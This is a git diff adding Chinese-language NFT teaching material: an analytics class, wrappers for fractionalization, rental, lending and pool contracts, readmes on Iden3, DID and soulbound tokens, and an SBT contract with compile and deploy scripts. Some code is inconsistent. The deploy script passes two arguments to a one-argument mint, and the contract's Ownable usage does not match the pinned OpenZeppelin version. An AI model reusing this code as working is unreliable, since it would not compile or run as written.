+    // 计算集中度指标
+    const top10Holders = holdersArray.slice(0, 10);
+    const top10Percentage = top10Holders.reduce((sum, holder) => sum + holder.percentage, 0);
+    
+    // 计算鲸鱼账户（拥有1%以上供应量的账户）
+    const whaleThreshold = this.totalSupply.toNumber() * 0.01;
+    const whales = holdersArray.filter(holder => holder.count >= whaleThreshold);
+    
+    console.log("持有者分布分析完成");
+    
+    return {
+      totalHolders: uniqueHolders,
+      holders: holdersArray,
+      top10Holders,
+      top10Percentage,
+      whales,
+      concentration: {
+        top10Percentage,
+        whaleCount: whales.length,
+        whalePercentage: whales.reduce((sum, whale) => sum + whale.percentage, 0)
+      },
+      holderTokens
+    };
+  }
+
+  /**
+   * 生成完整分析报告
+   * @returns {Object} 完整分析报告
+   */
+  async generateFullReport() {
+    console.log("生成完整分析报告...");
+    
+    // 确保已初始化
+    if (Object.keys(this.metadata).length === 0) {
+      console.log("元数据尚未加载，获取前100个NFT的元数据...");
+      await this.fetchMetadata(0, 99); // 获取前100个NFT的元数据作为样本
+    }
+    
+    // 计算稀有度排名
+    const rarityRanking = this.calculateRarityRanking();
+    
+    // 分析价格趋势
+    const priceTrends = this.analyzePriceTrends();
+    
+    // 分析持有者分布
+    const holderDistribution = await this.analyzeHolderDistribution();
+    
+    // 分析属性分布
+    const attributeDistribution = {};
+    for (const traitType in this.attributeFrequency) {
+      const values = this.attributeFrequency[traitType];
+      const totalCount = Object.values(values).reduce((sum, count) => sum + count, 0);
+      
+      attributeDistribution[traitType] = Object.entries(values).map(([value, count]) => ({
+        value,
+        count,
+        percentage: (count / totalCount) * 100
+      })).sort((a, b) => b.count - a.count);
+    }
+    
+    // 生成报告
+    const report = {
+      collectionName: this.config.collectionName,
+      contractAddress: this.config.nftContractAddress,
+      totalSupply: this.totalSupply.toString(),
+      analysisDate: new Date().toISOString(),
+      summary: {
+        uniqueHolders: holderDistribution.totalHolders,
+        totalTransactions: this.transactions.length,
+        totalVolume: priceTrends.summary.totalVolume,
+        avgPrice: priceTrends.summary.avgPrice,
+        priceChangeTrend: priceTrends.summary.priceChangeTrend,
+        top10HolderPercentage: holderDistribution.concentration.top10Percentage
+      },
+      rarityAnalysis: {
+        topRarest: rarityRanking.slice(0, 10),
+        attributeDistribution
+      },
+      priceAnalysis: priceTrends,
+      holderAnalysis: holderDistribution
+    };
+    
+    console.log("完整分析报告生成完成");
+    return report;
+  }
+
+  /**
+   * 导出分析数据为JSON文件
+   * @param {Object} data 要导出的数据
+   * @param {string} filename 文件名
+   */
+  exportToJSON(data, filename) {
+    // 在浏览器环境中
+    if (typeof window !== 'undefined') {
+      const jsonString = JSON.stringify(data, null, 2);
+      const blob = new Blob([jsonString], { type: 'application/json' });
+      const url = URL.createObjectURL(blob);
+      
+      const a = document.createElement('a');
+      a.href = url;
+      a.download = filename;
+      a.click();
+      
+      URL.revokeObjectURL(url);
+      console.log(`数据已导出到 ${filename}`);
+    }
+    // 在Node.js环境中
+    else if (typeof require !== 'undefined') {
+      const fs = require('fs');
+      fs.writeFileSync(filename, JSON.stringify(data, null, 2));
+      console.log(`数据已导出到 ${filename}`);
+    }
+  }
+}
+
+// 使用示例
+async function demoNFTAnalytics() {
+  try {
+    // 初始化分析器（以Bored Ape Yacht Club为例）
+    const analytics = new NFTAnalytics({
+      nftContractAddress: "0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D", // BAYC合约地址
+      marketplaceAddress: "0x7Be8076f4EA4A4AD08075C2508e481d6C946D12b", // OpenSea Wyvern Exchange v1
+      rpcUrl: "https://mainnet.infura.io/v3/YOUR_INFURA_KEY",
+      startBlock: 12287507, // BAYC部署区块
+      collectionName: "Bored Ape Yacht Club"
+    });
+    
+    // 初始化分析器
+    await analytics.initialize();
+    
+    // 获取前100个NFT的元数据（完整分析应获取全部）
+    await analytics.fetchMetadata(0, 99);
+    
+    // 生成完整报告
+    const report = await analytics.generateFullReport();
+    
+    // 导出报告
+    analytics.exportToJSON(report, "bayc_analysis_report.json");
+    
+    // 输出一些关键指标
+    console.log("\n关键分析指标:");
+    console.log(`总供应量: ${report.totalSupply}`);
+    console.log(`独立持有者数量: ${report.summary.uniqueHolders}`);
+    console.log(`总交易量: ${report.summary.totalTransactions}`);
+    console.log(`总成交额: ${report.summary.totalVolume.toFixed(2)} ETH`);
+    console.log(`平均价格: ${report.summary.avgPrice.toFixed(2)} ETH`);
+    console.log(`价格趋势: ${report.summary.priceChangeTrend}`);
+    console.log(`前10名持有者集中度: ${report.summary.top10HolderPercentage.toFixed(2)}%`);
+    
+    // 输出最稀有的5个NFT
+    console.log("\n最稀有的5个NFT:");
+    report.rarityAnalysis.topRarest.slice(0, 5).forEach(item => {
+      console.log(`#${item.rank}: Token ID ${item.tokenId} - 稀有度分数: ${item.score.toFixed(2)}`);
+    });
+    
+  } catch (error) {
+    console.error("演示过程中出错:", error);
+  }
+}
+
+if (typeof window !== 'undefined') {
+  window.NFTAnalytics = NFTAnalytics;
+}
+
+if (typeof module !== 'undefined') {
+  module.exports = {
+    NFTAnalytics
+  };
+}
diff --git a/nft/Practical-Applications/examples/nft-liquidity-solutions.js b/nft/Practical-Applications/examples/nft-liquidity-solutions.js
new file mode 100644
index 000000000..eee1a7ba1
--- /dev/null
+++ b/nft/Practical-Applications/examples/nft-liquidity-solutions.js
@@ -0,0 +1,406 @@
+const { ethers } = require("ethers");
+
+// NFT碎片化相关功能
+class NFTFractionalizer {
+  constructor(provider, fractionalizerAddress) {
+    this.provider = provider;
+    this.fractionalizerAddress = fractionalizerAddress;
+    
+    // 碎片化合约ABI（简化版）
+    this.abi = [
+      "function fractionalize(address _nftContract, uint256 _tokenId, uint256 _fractionSupply) external",
+      "function createSale(uint256 _reservePrice) external",
+      "function cancelSale() external",
+      "function purchase() external payable",
+      "function redeem() external",
+      "function balanceOf(address owner) external view returns (uint256)",
+      "function totalSupply() external view returns (uint256)",
+      "event NFTFractionalized(address indexed nftContract, uint256 indexed tokenId, uint256 fractionSupply)",
+      "event NFTRedeemed(address indexed redeemer)"
+    ];
+    
+    this.contract = new ethers.Contract(fractionalizerAddress, this.abi, provider);
+  }
+  
+  // 连接钱包
+  connect(signer) {
+    this.contract = this.contract.connect(signer);
+    return this;
+  }
+  
+  // 碎片化NFT
+  async fractionalizeNFT(nftContractAddress, tokenId, fractionSupply) {
+    try {
+      const tx = await this.contract.fractionalize(nftContractAddress, tokenId, fractionSupply);
+      const receipt = await tx.wait();
+      console.log(`NFT碎片化成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("NFT碎片化失败:", error);
+      throw error;
+    }
+  }
+  
+  // 创建整体出售
+  async createSale(reservePrice) {
+    try {
+      const tx = await this.contract.createSale(reservePrice);
+      const receipt = await tx.wait();
+      console.log(`创建出售成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("创建出售失败:", error);
+      throw error;
+    }
+  }
+  
+  // 购买整个NFT
+  async purchaseNFT(value) {
+    try {
+      const tx = await this.contract.purchase({ value });
+      const receipt = await tx.wait();
+      console.log(`购买NFT成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("购买NFT失败:", error);
+      throw error;
+    }
+  }
+  
+  // 获取碎片余额
+  async getBalance(address) {
+    return await this.contract.balanceOf(address);
+  }
+  
+  // 获取总供应量
+  async getTotalSupply() {
+    return await this.contract.totalSupply();
+  }
+}
+
+// NFT租赁相关功能
+class NFTRental {
+  constructor(provider, rentalAddress) {
+    this.provider = provider;
+    this.rentalAddress = rentalAddress;
+    
+    // 租赁合约ABI（简化版）
+    this.abi = [
+      "function listForRental(address nftContract, uint256 tokenId, uint256 rentalFee, uint256 rentalDuration) external",
+      "function rentNFT(address nftContract, uint256 tokenId, uint256 duration) external payable",
+      "function endRental(address nftContract, uint256 tokenId) external",
+      "function cancelRental(address nftContract, uint256 tokenId) external",
+      "function checkRentalStatus(address nftContract, uint256 tokenId) external view returns (address owner, address currentUser, uint256 endTime, bool isActive)",
+      "event NFTListed(address indexed nftContract, uint256 indexed tokenId, uint256 rentalFee, uint256 endTime)",
+      "event NFTRented(address indexed nftContract, uint256 indexed tokenId, address indexed renter, uint256 startTime, uint256 endTime)"
+    ];
+    
+    this.contract = new ethers.Contract(rentalAddress, this.abi, provider);
+  }
+  
+  // 连接钱包
+  connect(signer) {
+    this.contract = this.contract.connect(signer);
+    return this;
+  }
+  
+  // 列出NFT进行租赁
+  async listNFTForRental(nftContractAddress, tokenId, rentalFeePerDay, durationInDays) {
+    const rentalFee = ethers.utils.parseEther(rentalFeePerDay.toString());
+    const rentalDuration = durationInDays * 86400; // 转换为秒
+    
+    try {
+      const tx = await this.contract.listForRental(nftContractAddress, tokenId, rentalFee, rentalDuration);
+      const receipt = await tx.wait();
+      console.log(`NFT租赁列表创建成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("NFT租赁列表创建失败:", error);
+      throw error;
+    }
+  }
+  
+  // 租用NFT
+  async rentNFT(nftContractAddress, tokenId, durationInDays, rentalFeePerDay) {
+    const duration = durationInDays * 86400; // 转换为秒
+    const totalFee = ethers.utils.parseEther((rentalFeePerDay * durationInDays).toString());
+    
+    try {
+      const tx = await this.contract.rentNFT(nftContractAddress, tokenId, duration, { value: totalFee });
+      const receipt = await tx.wait();
+      console.log(`NFT租用成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("NFT租用失败:", error);
+      throw error;
+    }
+  }
+  
+  // 结束租赁
+  async endRental(nftContractAddress, tokenId) {
+    try {
+      const tx = await this.contract.endRental(nftContractAddress, tokenId);
+      const receipt = await tx.wait();
+      console.log(`租赁结束成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("租赁结束失败:", error);
+      throw error;
+    }
+  }
+  
+  // 检查租赁状态
+  async checkRentalStatus(nftContractAddress, tokenId) {
+    try {
+      const status = await this.contract.checkRentalStatus(nftContractAddress, tokenId);
+      return {
+        owner: status.owner,
+        currentUser: status.currentUser,
+        endTime: new Date(status.endTime.toNumber() * 1000),
+        isActive: status.isActive
+      };
+    } catch (error) {
+      console.error("检查租赁状态失败:", error);
+      throw error;
+    }
+  }
+}
+
+// NFT抵押借贷相关功能
+class NFTLending {
+  constructor(provider, lendingAddress) {
+    this.provider = provider;
+    this.lendingAddress = lendingAddress;
+    
+    // 借贷合约ABI（简化版）
+    this.abi = [
+      "function createLoan(address nftContract, uint256 tokenId, uint256 loanAmount, uint256 duration, uint256 interestRate) external",
+      "function fundLoan(uint256 loanId) external payable",
+      "function repayLoan(uint256 loanId) external payable",
+      "function liquidateLoan(uint256 loanId) external",
+      "function getLoanDetails(uint256 loanId) external view returns (address borrower, address lender, address nftContract, uint256 tokenId, uint256 loanAmount, uint256 interestRate, uint256 startTime, uint256 endTime, uint8 status)",
+      "event LoanCreated(uint256 indexed loanId, address indexed borrower, address indexed nftContract, uint256 tokenId, uint256 loanAmount)",
+      "event LoanFunded(uint256 indexed loanId, address indexed lender)",
+      "event LoanRepaid(uint256 indexed loanId)",
+      "event LoanLiquidated(uint256 indexed loanId)"
+    ];
+    
+    this.contract = new ethers.Contract(lendingAddress, this.abi, provider);
+  }
+  
+  // 连接钱包
+  connect(signer) {
+    this.contract = this.contract.connect(signer);
+    return this;
+  }
+  
+  // 创建贷款请求
+  async createLoan(nftContractAddress, tokenId, loanAmount, durationInDays, interestRatePerYear) {
+    const loanAmountWei = ethers.utils.parseEther(loanAmount.toString());
+    const duration = durationInDays * 86400; // 转换为秒
+    const interestRate = interestRatePerYear * 100; // 转换为基点 (1% = 100)
+    
+    try {
+      const tx = await this.contract.createLoan(nftContractAddress, tokenId, loanAmountWei, duration, interestRate);
+      const receipt = await tx.wait();
+      console.log(`贷款请求创建成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("贷款请求创建失败:", error);
+      throw error;
+    }
+  }
+  
+  // 资助贷款
+  async fundLoan(loanId, loanAmount) {
+    const loanAmountWei = ethers.utils.parseEther(loanAmount.toString());
+    
+    try {
+      const tx = await this.contract.fundLoan(loanId, { value: loanAmountWei });
+      const receipt = await tx.wait();
+      console.log(`贷款资助成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("贷款资助失败:", error);
+      throw error;
+    }
+  }
+  
+  // 偿还贷款
+  async repayLoan(loanId, repaymentAmount) {
+    const repaymentAmountWei = ethers.utils.parseEther(repaymentAmount.toString());
+    
+    try {
+      const tx = await this.contract.repayLoan(loanId, { value: repaymentAmountWei });
+      const receipt = await tx.wait();
+      console.log(`贷款偿还成功: ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("贷款偿还失败:", error);
+      throw error;
+    }
+  }
+  
+  // 获取贷款详情
+  async getLoanDetails(loanId) {
+    try {
+      const details = await this.contract.getLoanDetails(loanId);
+      return {
+        borrower: details.borrower,
+        lender: details.lender,
+        nftContract: details.nftContract,
+        tokenId: details.tokenId.toString(),
+        loanAmount: ethers.utils.formatEther(details.loanAmount),
+        interestRate: details.interestRate.toNumber() / 100, // 转换为百分比
+        startTime: new Date(details.startTime.toNumber() * 1000),
+        endTime: new Date(details.endTime.toNumber() * 1000),
+        status: ["Pending", "Active", "Repaid", "Defaulted", "Liquidated"][details.status]
+      };
+    } catch (error) {
+      console.error("获取贷款详情失败:", error);
+      throw error;
+    }
+  }
+}
+
+// NFT流动性池相关功能
+class NFTLiquidityPool {
+  constructor(provider, poolAddress) {
+    this.provider = provider;
+    this.poolAddress = poolAddress;
+    
+    // 流动性池合约ABI（简化版）
+    this.abi = [
+      "function getBuyPrice() public view returns (uint256)",
+      "function getSellPrice() public view returns (uint256)",
+      "function buyNFT() external payable returns (uint256)",
+      "function sellNFT(uint256 tokenId) external",
+      "function getPoolSize() external view returns (uint256)",
+      "event NFTAdded(uint256 indexed tokenId, uint256 price)",
+      "event NFTRemoved(uint256 indexed tokenId, uint256 price)"
+    ];
+    
+    this.contract = new ethers.Contract(poolAddress, this.abi, provider);
+  }
+  
+  // 连接钱包
+  connect(signer) {
+    this.contract = this.contract.connect(signer);
+    return this;
+  }
+  
+  // 获取购买价格
+  async getBuyPrice() {
+    try {
+      const priceWei = await this.contract.getBuyPrice();
+      return ethers.utils.formatEther(priceWei);
+    } catch (error) {
+      console.error("获取购买价格失败:", error);
+      throw error;
+    }
+  }
+  
+  // 获取出售价格
+  async getSellPrice() {
+    try {
+      const priceWei = await this.contract.getSellPrice();
+      return ethers.utils.formatEther(priceWei);
+    } catch (error) {
+      console.error("获取出售价格失败:", error);
+      throw error;
+    }
+  }
+  
+  // 从池中购买NFT
+  async buyNFT() {
+    try {
+      const buyPrice = await this.contract.getBuyPrice();
+      const tx = await this.contract.buyNFT({ value: buyPrice });
+      const receipt = await tx.wait();
+      
+      // 从事件中获取购买的tokenId
+      const event = receipt.events.find(e => e.event === 'NFTRemoved');
+      const tokenId = event.args.tokenId.toString();
+      
+      console.log(`从流动性池购买NFT成功: TokenID ${tokenId}, 交易哈希 ${receipt.transactionHash}`);
+      return { tokenId, receipt };
+    } catch (error) {
+      console.error("从流动性池购买NFT失败:", error);
+      throw error;
+    }
+  }
+  
+  // 向池中出售NFT
+  async sellNFT(tokenId) {
+    try {
+      const tx = await this.contract.sellNFT(tokenId);
+      const receipt = await tx.wait();
+      console.log(`向流动性池出售NFT成功: TokenID ${tokenId}, 交易哈希 ${receipt.transactionHash}`);
+      return receipt;
+    } catch (error) {
+      console.error("向流动性池出售NFT失败:", error);
+      throw error;
+    }
+  }
+  
+  // 获取池中NFT数量
+  async getPoolSize() {
+    try {
+      const size = await this.contract.getPoolSize();
+      return size.toNumber();
+    } catch (error) {
+      console.error("获取池大小失败:", error);
+      throw error;
+    }
+  }
+}
+
+// 使用示例
+async function example() {
+  // 连接到以太坊网络
+  const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/YOUR_INFURA_KEY");
+  const wallet = new ethers.Wallet("YOUR_PRIVATE_KEY", provider);
+  
+  // 示例合约地址
+  const fractionalizerAddress = "0x...";
+  const rentalAddress = "0x...";
+  const lendingAddress = "0x...";
+  const poolAddress = "0x...";
+  
+  // 初始化各功能类
+  const fractionalizer = new NFTFractionalizer(provider, fractionalizerAddress).connect(wallet);
+  const rental = new NFTRental(provider, rentalAddress).connect(wallet);
+  const lending = new NFTLending(provider, lendingAddress).connect(wallet);
+  const liquidityPool = new NFTLiquidityPool(provider, poolAddress).connect(wallet);
+  
+  // 示例：碎片化NFT
+  const nftContractAddress = "0x...";
+  const tokenId = "123";
+  await fractionalizer.fractionalizeNFT(nftContractAddress, tokenId, ethers.utils.parseEther("1000"));
+  
+  // 示例：列出NFT进行租赁
+  await rental.listNFTForRental(nftContractAddress, tokenId, 0.1, 30); // 每天0.1 ETH，租期30天
+  
+  // 示例：创建NFT抵押贷款
+  await lending.createLoan(nftContractAddress, tokenId, 5, 30, 10); // 借5 ETH，期限30天，年利率10%
+  
+  // 示例：从流动性池购买NFT
+  const { tokenId: purchasedTokenId } = await liquidityPool.buyNFT();
+  console.log(`购买的NFT TokenID: ${purchasedTokenId}`);
+  
+  // 示例：获取流动性池信息
+  const buyPrice = await liquidityPool.getBuyPrice();
+  const sellPrice = await liquidityPool.getSellPrice();
+  const poolSize = await liquidityPool.getPoolSize();
+  
+  console.log(`当前购买价格: ${buyPrice} ETH`);
+  console.log(`当前出售价格: ${sellPrice} ETH`);
+  console.log(`池中NFT数量: ${poolSize}`);
+}
+
+module.exports = {
+  NFTFractionalizer,
+  NFTRental,
+  NFTLending,
+  NFTLiquidityPool
+};
diff --git a/nft/Practical-Applications/readme.md b/nft/Practical-Applications/readme.md
new file mode 100644
index 000000000..619e65cad
--- /dev/null
+++ b/nft/Practical-Applications/readme.md
@@ -0,0 +1,26 @@
+# NFT实用应用场景
+
+本目录包含了NFT在实际应用场景中的技术实现和案例分析，重点关注NFT技术的实用性和创新性应用。每个应用场景都配有相应的JavaScript代码示例，方便开发者参考和实践。
+
+## 目录内容
+
+1. [NFT身份验证系统](./NFT-Identity-Verification.md) - 使用NFT实现去中心化身份验证
+2. [NFT跨链应用](./NFT-Cross-Chain.md) - 跨链NFT的实现方案和应用场景
+3. [NFT数据分析](./NFT-Analytics.md) - NFT市场数据分析方法和工具
+4. [NFT流动性解决方案](./NFT-Liquidity-Solutions.md) - 提高NFT流动性的技术方案
+
+## 技术特点
+
+- 所有代码示例均使用JavaScript编写，并提供完整的实现逻辑
+- 代码示例与文档分离，便于直接运行和测试
+- 关注最新的NFT技术发展趋势和实际应用案例
+- 提供与现有Web2系统集成的解决方案
+
+## 如何使用
+
+每个应用场景文档都包含详细的技术原理解释和实现思路，相应的代码示例位于`examples`目录下。开发者可以按照以下步骤使用这些资源：
+
+1. 阅读应用场景文档，了解技术原理和实现思路
+2. 查看相应的代码示例，了解具体实现方法
+3. 根据自己的需求修改和扩展代码示例
+4. 在实际项目中应用相关技术和方案
diff --git a/nft/SBT/Iden3/readme.md b/nft/SBT/Iden3/readme.md
new file mode 100644
index 000000000..5430fbecc
--- /dev/null
+++ b/nft/SBT/Iden3/readme.md
@@ -0,0 +1,41 @@
+# Iden3
+
+## 介绍
+Iden3协议的核心理念是每个身份都是自我主权的，能够对另一个身份（可以是个人、组织或系统/机器）发布声明。通过这种方式，用户可以更加自主地管理和控制他们的身份信息，并在不同的平台和服务之间安全地分享这些信息。
+
+### 主要特点
+1. **自我主权身份**：
+   - 用户拥有对其身份的完全控制权，无需依赖第三方中心化机构。
+
+2. **可验证声明**：
+   - 每个身份可以向其他身份发出可验证的声明，从而增强信任和透明度。
+
+3. **隐私保护**：
+   - Iden3通过密码学技术保护用户的隐私，确保个人信息仅在必要时共享。
+
+4. **去中心化**：
+   - Iden3利用区块链技术实现去中心化存储，减少单点故障风险，提高系统的安全性和可靠性。
+
+## 使用场景
+- **个人身份验证**：用户可以在各种在线服务中使用其自我主权身份进行身份验证，而无需每次都提交个人信息。
+- **企业认证**：组织可以通过Iden3协议向其合作伙伴或客户发布可验证的声明，增强商业信任。
+- **物联网（IoT）设备**：IoT设备可以拥有自己的身份，并对其操作和状态进行声明，实现自动化和安全的设备管理。
+
+## 参考文献
+- [Baby Jubjub](https://iden3-docs.readthedocs.io/en/latest/_downloads/33717d75ab84e11313cc0d8a090b636f/Baby-Jubjub.pdf)
+
+## 官方网站
+- [Iden3文档](https://docs.iden3.io/)
+
+## 未来发展方向
+- **与其他协议的互操作性**：
+  - 未来，Iden3可能会与其他身份管理协议进行集成，以实现更广泛的互操作性和用户体验。
+  
+- **应用生态系统的构建**：
+  - 鼓励开发者基于Iden3构建各种应用，推动生态系统的发展和创新。
+
+- **用户教育和推广**：
+  - 加强对用户和开发者的教育，以提高对自我主权身份的认识和使用，促进Iden3的广泛应用。
+
+### 总结
+Iden3协议为用户提供了一种安全、私密且去中心化的身份管理方案，未来有望在各个领域广泛应用。随着技术的发展和生态系统的完善，Iden3将为用户带来更便利和安全的身份管理体验。
\ No newline at end of file
diff --git a/nft/SBT/example/SBT.sol b/nft/SBT/example/SBT.sol
new file mode 100644
index 000000000..7343a60bc
--- /dev/null
+++ b/nft/SBT/example/SBT.sol
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+contract SoulboundToken is ERC721Enumerable, Ownable {
+    uint256 private _tokenIdCounter;
+
+    // Mapping to track if a token is soulbound (non-transferable)
+    mapping(uint256 => bool) private _soulboundTokens;
+
+    constructor() ERC721("SoulboundToken", "SBT") {}
+
+    function mint(address to) external onlyOwner {
+        _tokenIdCounter++;
+        uint256 newTokenId = _tokenIdCounter;
+
+        _mint(to, newTokenId);
+        _soulboundTokens[newTokenId] = true; // Mark token as soulbound
+    }
+
+    function isSoulbound(uint256 tokenId) external view returns (bool) {
+        return _soulboundTokens[tokenId];
+    }
+
+    // Override transfer functions to prevent transfers of soulbound tokens
+    function transferFrom(address from, address to, uint256 tokenId) public override(ERC721, IERC721) {
+        require(!_soulboundTokens[tokenId], "This token is soulbound and cannot be transferred");
+        super.transferFrom(from, to, tokenId);
+    }
+
+    function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721, IERC721) {
+        require(!_soulboundTokens[tokenId], "This token is soulbound and cannot be transferred");
+        super.safeTransferFrom(from, to, tokenId);
+    }
+
+    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override(ERC721, IERC721) {
+        require(!_soulboundTokens[tokenId], "This token is soulbound and cannot be transferred");
+        super.safeTransferFrom(from, to, tokenId, _data);
+    }
+}
diff --git a/nft/SBT/example/compile.js b/nft/SBT/example/compile.js
new file mode 100644
index 000000000..a4aac90e9
--- /dev/null
+++ b/nft/SBT/example/compile.js
@@ -0,0 +1,51 @@
+import solc from 'solc';
+import fs from 'fs';
+import path from 'path';
+
+const filePath = path.resolve('SBT.sol');
+const source = fs.readFileSync(filePath, 'utf8');
+
+// 定义导入回调函数
+function findImports(importPath) {
+    try {
+        const resolvedPath = path.resolve('node_modules', importPath);
+        const content = fs.readFileSync(resolvedPath, 'utf8');
+        return { contents: content };
+    } catch (e) {
+        return { error: `File not found: ${importPath}` };
+    }
+}
+
+// solc 编译输入格式
+const input = {
+    language: 'Solidity',
+    sources: {
+        'SBT.sol': {
+            content: source,
+        },
+    },
+    settings: {
+        outputSelection: {
+            '*': {
+                '*': ['abi', 'evm.bytecode.object'],
+            },
+        },
+    },
+};
+
+// 编译合约
+const output = JSON.parse(solc.compile(JSON.stringify(input), { import: findImports }));
+
+console.log(output);
+
+if (output.errors) {
+    output.errors.forEach(err => console.error(err.formattedMessage));
+} else {
+    // 提取 ABI 和 Bytecode
+    const abi = output.contracts['SBT.sol'].SoulboundToken.abi;
+    const bytecode = output.contracts['SBT.sol'].SoulboundToken.evm.bytecode.object;
+
+    // 保存为 JSON 文件
+    fs.writeFileSync('SBTCompiled.json', JSON.stringify({ abi, bytecode }, null, 2));
+    console.log('Compilation successful. ABI and Bytecode saved to SBTCompiled.json');
+}
diff --git a/nft/SBT/example/deploySBT.js b/nft/SBT/example/deploySBT.js
new file mode 100644
index 000000000..87b96d768
--- /dev/null
+++ b/nft/SBT/example/deploySBT.js
@@ -0,0 +1,43 @@
+import Web3 from 'web3';
+import { abi, bytecode } from './SBTCompiled.json'; // 编译好的合约 ABI 和字节码
+
+// 初始化 Web3
+const web3 = new Web3("https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID");
+
+// 部署者钱包私钥
+const privateKey = 'YOUR_PRIVATE_KEY';
+const account = web3.eth.accounts.privateKeyToAccount(privateKey);
+web3.eth.accounts.wallet.add(account);
+web3.eth.defaultAccount = account.address;
+
+// 部署合约的函数
+async function deploySBT() {
+    const SBTContract = new web3.eth.Contract(abi);
+
+    // 部署合约
+    const sbtInstance = await SBTContract.deploy({ data: bytecode })
+        .send({
+            from: account.address,
+            gas: 5000000,
+            gasPrice: web3.utils.toWei('20', 'gwei')
+        });
+
+    console.log("SBT contract deployed at:", sbtInstance.options.address);
+    return sbtInstance;
+}
+
+// 调用 mint 方法来为用户铸造 SBT
+async function mintSBT(sbtInstance, to, tokenId) {
+    await sbtInstance.methods.mint(to, tokenId)
+        .send({ from: account.address, gas: 500000 });
+
+    console.log(`Minted SBT token with ID ${tokenId} for address ${to}`);
+}
+
+// 主函数，部署合约并铸造一个 SBT
+(async () => {
+    const sbtInstance = await deploySBT();
+
+    // 假设我们要为地址 '0xRecipientAddress' 铸造一个 SBT，tokenId 为 1
+    await mintSBT(sbtInstance, '0xRecipientAddress', 1);
+})();
diff --git a/nft/SBT/example/package.json b/nft/SBT/example/package.json
new file mode 100644
index 000000000..36b814eca
--- /dev/null
+++ b/nft/SBT/example/package.json
@@ -0,0 +1,25 @@
+{
+  "name": "sbt",
+  "version": "1.0.0",
+  "description": "sbt deploy、mint example",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "compile": "node compile.js",
+    "deploy": "node deploySBT.js"
+  },
+  "keywords": [
+    "sbt",
+    "mint",
+    "deplot",
+    "erc721"
+  ],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^5.1.0",
+    "solc": "^0.8.28",
+    "web3": "^4.14.0"
+  }
+}
diff --git a/nft/SBT/readme.md b/nft/SBT/readme.md
new file mode 100644
index 000000000..0f6e80d2c
--- /dev/null
+++ b/nft/SBT/readme.md
@@ -0,0 +1,63 @@
+# SBT
+
+## DID
+DID（去中心化身份）本质上是一种URI（统一资源标识符），用于唯一识别一个资源。DIDs允许用户使用开放的标准生成自己的ID，并将相关身份信息存储在区块链等可信存储平台上，而不是某个互联网巨头的服务器上。DIDs能够唯一标记信息资源，提供了一种关于身份的良好载体。然而，DID的实现仍严重依赖于现有中心化机构来颁发各种身份凭证。
+
+## SBT
+SBT（Soulbound Token，灵魂绑定通证）顾名思义，是绑定于用户账户或钱包的Token，一旦生成则不可交易。SBT可以用来代表承诺、资格、从属关系等，其作用类似于履历表，由用户对应的相关方账户进行发行，作为相应社会关系的证明。
+
+一个账户（地址）可以理解为一个灵魂，而一个灵魂可以拥有多个SBT。SBT对应着一系列的关系、成员资格和证书等。个人或组织都可以向其他灵魂发行SBT，从而形成“灵魂网络”。
+
+- **声誉系统**
+- **Web3信用贷**
+- **SBT社区恢复**
+- **灵魂空投**
+- **灵魂治理**
+
+## 技术实现
+- **EIP-4973**: Account-bound Tokens
+- **EIP-5114**: [EIP-5114](https://eips.ethereum.org/EIPS/eip-5114)
+- **ERC721S**
+- **EIP-3525**: 一种理想的半均质化通证，具有ERC-20的数量能力和ERC-721的描述能力。具体解决方案是在保留ERC-721的_tokenID基础上，引入基于ERC-20的_value数量操作，同时增加全新参数slot以表达分类概念，以及相应的Slot Metadata以帮助实现其业务层面的类别逻辑。[了解更多](https://mirror.xyz/0x07599B7E947A4F6240F826F41768F76149F490D5/VemGGAWbWtxW_G-89Pblgidi5Nx9pPvDySKnfnX83zs)
+
+### ZK-SBT
+参考项目: [ZK-SBT GitHub](https://github.com/enricobottazzi/ZK-SBT)
+
+### 账户抽象
+- **EIP-4377**: [EIP-4377](https://web3caff.com/zh/archives/26165)
+- **EIP-2938**: [EIP-2938](https://medium.com/infinitism/erc-4337-account-abstraction-without-ethereum-protocol-changes-d75c9d94dc4a)
+
+## 更多资料
+### 研究论文与技术文档
+- **Soulbound Tokens: A Comprehensive Overview**: 深入探讨SBT的概念、设计和应用场景，提供详细的技术架构和实现方案。
+- **Decentralized Identity: Principles and Practices**: 探讨去中心化身份的基本原则、最佳实践及技术实现。
+- **ZK-SBT: Using Zero-Knowledge Proofs in Soulbound Tokens**: 介绍零知识证明技术在SBT中的应用，提升用户隐私保护和身份验证的安全性。
+
+### 开源项目
+- **SBT Protocol Implementations**: GitHub上与SBT相关的开源项目，探索不同团队如何实现SBT，包括合约、应用和工具库。
+- **DID Libraries and Frameworks**: 流行的去中心化身份库（如DIDKit、Identity.com），提供实现DID的API和工具。
+
+### 在线课程与讲座
+- **Web3 & Decentralized Identity Courses**: 在线教育平台（如Coursera、edX）提供的Web3和去中心化身份课程，帮助开发者和企业理解和应用这些新技术。
+- **YouTube讲座**: 有关SBT和DID的讲座和研讨会，邀请行业专家分享经验和见解。
+
+### 社区与论坛
+- **Web3社群**: 加入Discord或Telegram的Web3社区，参与讨论，获取实时更新和新想法。
